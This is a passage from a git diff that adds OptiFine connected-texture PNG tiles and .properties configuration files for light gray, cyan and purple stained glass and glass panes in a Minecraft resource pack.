b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/15.png new file mode 100644 index 00000000..ae511d30 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/16.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/16.png new file mode 100644 index 00000000..aba800d1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/17.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/17.png new file mode 100644 index 00000000..56c65c17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/18.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/18.png new file mode 100644 index 00000000..95c01d81 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/19.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/19.png new file mode 100644 index 00000000..d0616890 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/2.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/2.png new file mode 100644 index 00000000..585b4625 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/20.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/20.png new file mode 100644 index 00000000..f69d24b8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/21.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/21.png new file mode 100644 index 00000000..ba2ef9d1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/22.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/22.png new file mode 100644 index 00000000..b727b437 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/23.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/23.png new file mode 100644 index 00000000..e1a1d786 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/24.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/24.png new file mode 100644 index 00000000..fe13c80f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/25.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/25.png new file mode 100644 index 00000000..567c4a9b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/26.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/26.png new file mode 100644 index 00000000..72392cac Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/27.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/27.png new file mode 100644 index 00000000..f1a80f8c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/28.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/28.png new file mode 100644 index 00000000..2a6221f5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/29.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/29.png new file mode 100644 index 00000000..dafaa0fa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/3.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/3.png new file mode 100644 index 00000000..7195019b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/30.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/30.png new file mode 100644 index 00000000..97cdffe0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/31.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/31.png new file mode 100644 index 00000000..40548142 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/32.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/32.png new file mode 100644 index 00000000..b4f91989 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/33.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/33.png new file mode 100644 index 00000000..4d008467 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/34.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/34.png new file mode 100644 index 00000000..56b8473a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/35.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/35.png new file mode 100644 index 00000000..a4753fda Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/36.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/36.png new file mode 100644 index 00000000..70ec5789 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/37.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/37.png new file mode 100644 index 00000000..1af62f58 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/38.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/38.png new file mode 100644 index 00000000..b7882e63 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/39.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/39.png new file mode 100644 index 00000000..82e7ad35 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/4.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/4.png new file mode 100644 index 00000000..58f162dc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/40.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/40.png new file mode 100644 index 00000000..f7978e48 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/41.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/41.png new file mode 100644 index 00000000..9de9e2fc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/42.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/42.png new file mode 100644 index 00000000..6a788e0a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/43.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/43.png new file mode 100644 index 00000000..264d2897 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/44.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/44.png new file mode 100644 index 00000000..b45b357e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/45.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/45.png new file mode 100644 index 00000000..0a2d4bda Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/46.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/46.png new file mode 100644 index 00000000..22866d8c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/5.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/5.png new file mode 100644 index 00000000..0c6d19a9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/6.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/6.png new file mode 100644 index 00000000..2cbbbd16 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/7.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/7.png new file mode 100644 index 00000000..41ab9cd4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/8.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/8.png new file mode 100644 index 00000000..7cb76219 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/9.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/9.png new file mode 100644 index 00000000..9a59ae2a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/glass_light_gray.properties b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/glass_light_gray.properties new file mode 100644 index 00000000..a07699e2 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/glass_light_gray.properties @@ -0,0 +1,5 @@ +# Stained glass light_gray +matchBlocks=light_gray_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/glass_pane_light_gray.properties b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/glass_pane_light_gray.properties new file mode 100644 index 00000000..48b4bc8b --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/glass_pane_light_gray.properties @@ -0,0 +1,6 @@ +# Stained glass pane light_gray +matchBlocks=light_gray_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/0.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/0.png new file mode 100644 index 00000000..39f3a7ef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/1.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/1.png new file mode 100644 index 00000000..f9bf8a3d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/10.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/10.png new file mode 100644 index 00000000..ec9b28ac Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/11.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/11.png new file mode 100644 index 00000000..4bd99d8b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/12.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/12.png new file mode 100644 index 00000000..a1dc92c9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/13.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/13.png new file mode 100644 index 00000000..bef6f728 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/14.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/14.png new file mode 100644 index 00000000..7e0b084f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/15.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/15.png new file mode 100644 index 00000000..a21493d2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/16.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/16.png new file mode 100644 index 00000000..6d2ea28a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/17.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/17.png new file mode 100644 index 00000000..3b4b785a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/18.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/18.png new file mode 100644 index 00000000..d1cfec62 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/19.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/19.png new file mode 100644 index 00000000..af268d5c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/2.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/2.png new file mode 100644 index 00000000..157e062e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/20.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/20.png new file mode 100644 index 00000000..0fbf2d65 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/21.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/21.png new file mode 100644 index 00000000..988f179d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/22.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/22.png new file mode 100644 index 00000000..011869e9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/23.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/23.png new file mode 100644 index 00000000..41338322 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/24.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/24.png new file mode 100644 index 00000000..4d31fc1e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/25.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/25.png new file mode 100644 index 00000000..64b548f0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/26.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/26.png new file mode 100644 index 00000000..70a7f66e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/27.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/27.png new file mode 100644 index 00000000..d61aa74a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/28.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/28.png new file mode 100644 index 00000000..3d6bd6bb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/29.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/29.png new file mode 100644 index 00000000..f0e5f172 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/3.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/3.png new file mode 100644 index 00000000..98c8eae7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/30.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/30.png new file mode 100644 index 00000000..03797096 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/31.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/31.png new file mode 100644 index 00000000..9145aad8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/32.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/32.png new file mode 100644 index 00000000..b132170d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/33.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/33.png new file mode 100644 index 00000000..ae85a818 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/34.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/34.png new file mode 100644 index 00000000..5c8439f4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/35.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/35.png new file mode 100644 index 00000000..80f9a433 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/36.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/36.png new file mode 100644 index 00000000..caf7233c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/37.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/37.png new file mode 100644 index 00000000..8fee1ee8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/38.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/38.png new file mode 100644 index 00000000..02fccadc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/39.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/39.png new file mode 100644 index 00000000..7da9f455 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/4.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/4.png new file mode 100644 index 00000000..59c94d43 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/40.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/40.png new file mode 100644 index 00000000..d4c12155 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/41.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/41.png new file mode 100644 index 00000000..ac3d97f0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/42.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/42.png new file mode 100644 index 00000000..55772524 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/43.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/43.png new file mode 100644 index 00000000..2cd62550 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/44.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/44.png new file mode 100644 index 00000000..e2a7912e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/45.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/45.png new file mode 100644 index 00000000..30ded46c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/46.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/46.png new file mode 100644 index 00000000..2f862536 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/5.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/5.png new file mode 100644 index 00000000..5a92f96c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/6.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/6.png new file mode 100644 index 00000000..9f57b5bb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/7.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/7.png new file mode 100644 index 00000000..4baa31c6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/8.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/8.png new file mode 100644 index 00000000..187a3e6d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/9.png b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/9.png new file mode 100644 index 00000000..2c591275 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/glass_cyan.properties b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/glass_cyan.properties new file mode 100644 index 00000000..9871de95 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/glass_cyan.properties @@ -0,0 +1,5 @@ +# Stained glass cyan +matchBlocks=cyan_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/glass_pane_cyan.properties b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/glass_pane_cyan.properties new file mode 100644 index 00000000..cc0665a0 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/09_glass_cyan/glass_pane_cyan.properties @@ -0,0 +1,6 @@ +# Stained glass pane cyan +matchBlocks=cyan_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/0.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/0.png new file mode 100644 index 00000000..e3f42efe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/1.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/1.png new file mode 100644 index 00000000..6ae85628 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/10.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/10.png new file mode 100644 index 00000000..9e3961b4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/11.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/11.png new file mode 100644 index 00000000..e3546b46 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/12.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/12.png new file mode 100644 index 00000000..2cea71b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/13.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/13.png new file mode 100644 index 00000000..50543456 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/14.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/14.png new file mode 100644 index 00000000..9d3370e4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/15.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/15.png new file mode 100644 index 00000000..bbff921b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/16.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/16.png new file mode 100644 index 00000000..b853571d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/17.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/17.png new file mode 100644 index 00000000..d4051d4c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/18.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/18.png new file mode 100644 index 00000000..00339659 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/19.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/19.png new file mode 100644 index 00000000..5a6b9dac Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/2.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/2.png new file mode 100644 index 00000000..e8923a9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/20.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/20.png new file mode 100644 index 00000000..b631c605 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/21.png 